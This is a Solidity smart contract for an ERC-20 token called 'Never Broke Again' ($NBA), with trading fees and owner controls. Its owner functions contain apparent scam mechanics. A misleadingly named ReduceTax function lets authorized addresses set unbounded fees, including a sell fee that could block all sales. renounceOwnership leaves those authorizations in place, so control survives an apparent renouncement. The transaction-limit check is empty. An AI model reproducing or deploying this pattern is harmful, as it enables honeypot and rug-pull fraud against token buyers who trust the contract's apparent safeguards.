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pragma solidity ^0.8.17;
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {return 0;}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function decimals() external view returns (uint8);
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function symbol() external view returns (string memory);
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function name() external view returns (string memory);
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function getOwner() external view returns (address);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address _owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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interface DexFactory {
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function createPair(address tokenA, address tokenB) external returns (address pair);
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}
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interface DexRouter {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidity(
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address tokenA,
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address tokenB,
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uint amountADesired,
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uint amountBDesired,
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uint amountAMin,
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uint amountBMin,
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address to,
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uint deadline
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) external returns (uint amountA, uint amountB, uint liquidity);
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function addLiquidityETH(
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address token,
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uint amountTokenDesired,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external payable returns (uint amountToken, uint amountETH, uint liquidity);
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function swapExactTokensForTokensSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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function swapExactETHForTokensSupportingFeeOnTransferTokens(
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external payable;
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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}
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abstract contract Context {
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function _msgSender() internal view virtual returns (address payable) {
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return payable(msg.sender);
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}
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function _msgData() internal view virtual returns (bytes memory) {
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this;
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return msg.data;
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}
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}
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contract Ownable is Context {
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address private _owner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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constructor () {
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address msgSender = _msgSender();
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_owner = msgSender;
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authorizations[_owner] = true;
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emit OwnershipTransferred(address(0), msgSender);
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}
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mapping (address => bool) internal authorizations;
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function owner() public view returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(_owner == _msgSender(), "Ownable: caller is not the owner");
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_;
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}
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modifier authorized() {
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require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
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}
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function isAuthorized(address adr) public view returns (bool) {
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return authorizations[adr];
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}
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function renounceOwnership() public virtual onlyOwner {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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}
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contract NeverBrokeAgain is Ownable, IERC20 {
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using SafeMath for uint256;
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address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
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address private constant ZERO = 0x0000000000000000000000000000000000000000;
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address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
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uint8 constant private _decimals = 9;
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uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
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uint256 public _maxTxAmount = _totalSupply * 2/100;
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uint256 public _walletMax = _totalSupply * 3 /100;
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string constant private _name = "Never Broke Again";
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string constant private _symbol = "$NBA";
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mapping(address => uint256) private _balances;
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mapping(address => mapping(address => uint256)) private _allowances;
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mapping(address => bool) public isFeeExempt;
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mapping(address => bool) public isTxLimitExempt;
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uint256 public liquidityFee = 0;
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uint256 public marketingFee = 1;
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uint256 public RewardFee = 0;
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uint256 public tokenFee = 0;
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uint256 public totalFee = 0;
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uint256 public totalFeeIfSelling = 0;
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bool public takeBuyFee = true;
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bool public takeSellFee = true;
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bool public takeTransferFee = true;
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address private lpWallet;
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address private projectAddress;
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address private devWallet;
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address private nativeWallet;
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DexRouter public router;
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address public pair;
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mapping(address => bool) public isPair;
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uint256 public launchedAt;
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bool public tradingOpen = true;
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bool private inSwapAndLiquify;
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bool public swapAndLiquifyEnabled = true;
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bool public swapAndLiquifyByLimitOnly = false;
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uint256 public swapThreshold = _totalSupply * 20 / 10000;
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event AutoLiquify(uint256 amountETH, uint256 amountBOG);
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modifier lockTheSwap {
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inSwapAndLiquify = true;
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_;
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inSwapAndLiquify = false;
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}
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constructor() {
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router = DexRouter(routerAddress);
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pair = DexFactory(router.factory()).createPair(router.WETH(), address(this));
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isPair[pair] = true;
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_allowances[address(this)][address(router)] = type(uint256).max;
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_allowances[address(this)][address(pair)] = type(uint256).max;
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isFeeExempt[msg.sender] = true;
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isFeeExempt[address(this)] = true;
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isFeeExempt[DEAD] = true;
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isFeeExempt[nativeWallet] = true;
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isFeeExempt[routerAddress] = true;
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isTxLimitExempt[nativeWallet] = true;
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isTxLimitExempt[msg.sender] = true;
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isTxLimitExempt[pair] = true;
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isTxLimitExempt[DEAD] = true;
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isTxLimitExempt[routerAddress] = true;
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lpWallet = 0x7D4227792718C277d18e7ee4496799BBf647B35C;
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projectAddress = 0x7D4227792718C277d18e7ee4496799BBf647B35C;
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devWallet = 0x7D4227792718C277d18e7ee4496799BBf647B35C;
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nativeWallet = msg.sender;
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isFeeExempt[projectAddress] = true;
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totalFee = liquidityFee.add(marketingFee).add(tokenFee).add(RewardFee);
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totalFeeIfSelling = totalFee;
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_balances[msg.sender] = _totalSupply;
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emit Transfer(address(0), msg.sender, _totalSupply);
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}
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receive() external payable {}
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function name() external pure override returns (string memory) {return _name;}
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function symbol() external pure override returns (string memory) {return _symbol;}
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function decimals() external pure override returns (uint8) {return _decimals;}
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function totalSupply() external view override returns (uint256) {return _totalSupply;}
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function getOwner() external view override returns (address) {return owner();}
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function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
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function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];}
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function getCirculatingSupply() public view returns (uint256) {
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return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
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}
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function approve(address spender, uint256 amount) public override returns (bool) {
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_allowances[msg.sender][spender] = amount;
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emit Approval(msg.sender, spender, amount);
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return true;
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}
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function approveMax(address spender) external returns (bool) {
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return approve(spender, type(uint256).max);
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}
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function launched() internal view returns (bool) {
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return launchedAt != 0;
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}
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function launch() internal {
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launchedAt = block.number;
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}
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function checkTxLimit(address sender, uint256 amount) internal view {
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}
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function transfer(address recipient, uint256 amount) external override returns (bool) {
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return _transferFrom(msg.sender, recipient, amount);
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}
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function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
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_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
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_balances[recipient] = _balances[recipient].add(amount);
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emit Transfer(sender, recipient, amount);
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return true;
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}
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function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
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if (_allowances[sender][msg.sender] != type(uint256).max) {
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_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
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}
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return _transferFrom(sender, recipient, amount);
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}
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function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
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if (inSwapAndLiquify) {return _basicTransfer(sender, recipient, amount);}
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if(!authorizations[sender] && !authorizations[recipient]){
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require(tradingOpen, "");
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}
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if (isPair[recipient] && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold) {marketingAndLiquidity();}
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if (!launched() && isPair[recipient]) {
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require(_balances[sender] > 0, "");
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launch();
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}
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_balances[sender] = _balances[sender].sub(amount, "");
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if (!isTxLimitExempt[recipient]) {
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}
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uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? extractFee(sender, recipient, amount) : amount;
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_balances[recipient] = _balances[recipient].add(finalAmount);
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emit Transfer(sender, recipient, finalAmount);
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return true;
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}
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function extractFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
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uint feeApplicable = 0;
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uint nativeAmount = 0;
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if (isPair[recipient] && takeSellFee) {
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feeApplicable = totalFeeIfSelling.sub(tokenFee);
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}
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if (isPair[sender] && takeBuyFee) {
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feeApplicable = totalFee.sub(tokenFee);
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}
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if (!isPair[sender] && !isPair[recipient]){
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if (takeTransferFee){
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feeApplicable = totalFeeIfSelling.sub(tokenFee);
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}
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else{
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feeApplicable = 0;
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}
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}
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if(feeApplicable > 0 && tokenFee >0){
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nativeAmount = amount.mul(tokenFee).div(100);
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_balances[nativeWallet] = _balances[nativeWallet].add(nativeAmount);
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emit Transfer(sender, nativeWallet, nativeAmount);
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}
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uint256 feeAmount = amount.mul(feeApplicable).div(100);
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_balances[address(this)] = _balances[address(this)].add(feeAmount);
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emit Transfer(sender, address(this), feeAmount);
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return amount.sub(feeAmount).sub(nativeAmount);
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}
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function marketingAndLiquidity() internal lockTheSwap {
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uint256 tokensToLiquify = _balances[address(this)];
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uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee.sub(tokenFee)).div(2);
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uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
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address[] memory path = new address[](2);
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path[0] = address(this);
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path[1] = router.WETH();
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router.swapExactTokensForETHSupportingFeeOnTransferTokens(
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amountToSwap,
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0,
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path,
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address(this),
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block.timestamp
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);
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uint256 amountETH = address(this).balance;
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uint256 totalETHFee = totalFee.sub(tokenFee).sub(liquidityFee.div(2));
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uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
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uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
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uint256 amountETHDev = amountETH.mul(RewardFee).div(totalETHFee);
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(bool tmpSuccess1,) = payable(projectAddress).call{value : amountETHMarketing, gas : 30000}("");
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tmpSuccess1 = false;
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(tmpSuccess1,) = payable(devWallet).call{value : amountETHDev, gas : 30000}("");
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tmpSuccess1 = false;
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if (amountToLiquify > 0) {
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router.addLiquidityETH{value : amountETHLiquidity}(
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address(this),
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amountToLiquify,
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0,
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0,
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lpWallet,
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block.timestamp
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);
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emit AutoLiquify(amountETHLiquidity, amountToLiquify);
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}
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}
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function openTrading() public onlyOwner {
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tradingOpen = true;
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}
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function ReduceTax(uint256 newLiqFee, uint256 newMarketingFee, uint256 newBetFee, uint256 newNativeFee, uint256 extra) public authorized{
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liquidityFee = newLiqFee;
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marketingFee = newMarketingFee;
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RewardFee = newBetFee;
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tokenFee = newNativeFee;
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totalFee = liquidityFee.add(marketingFee).add(RewardFee).add(tokenFee);
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totalFeeIfSelling = totalFee + extra;
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}
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function AllowTrading(address _address, bool status) public onlyOwner{
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authorizations[_address] = status;
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}
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function changePair(address _address, bool status) public onlyOwner{
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isPair[_address] = status;
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}
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function removeERC20(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) {
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require(tokenAddress != address(this), "Cant remove the native token");
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return IERC20(tokenAddress).transfer(msg.sender, tokens);
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}
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function removeEther(uint256 amountPercentage) external onlyOwner {
|
|
uint256 amountETH = address(this).balance;
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payable(msg.sender).transfer(amountETH * amountPercentage / 100);
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}
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} |
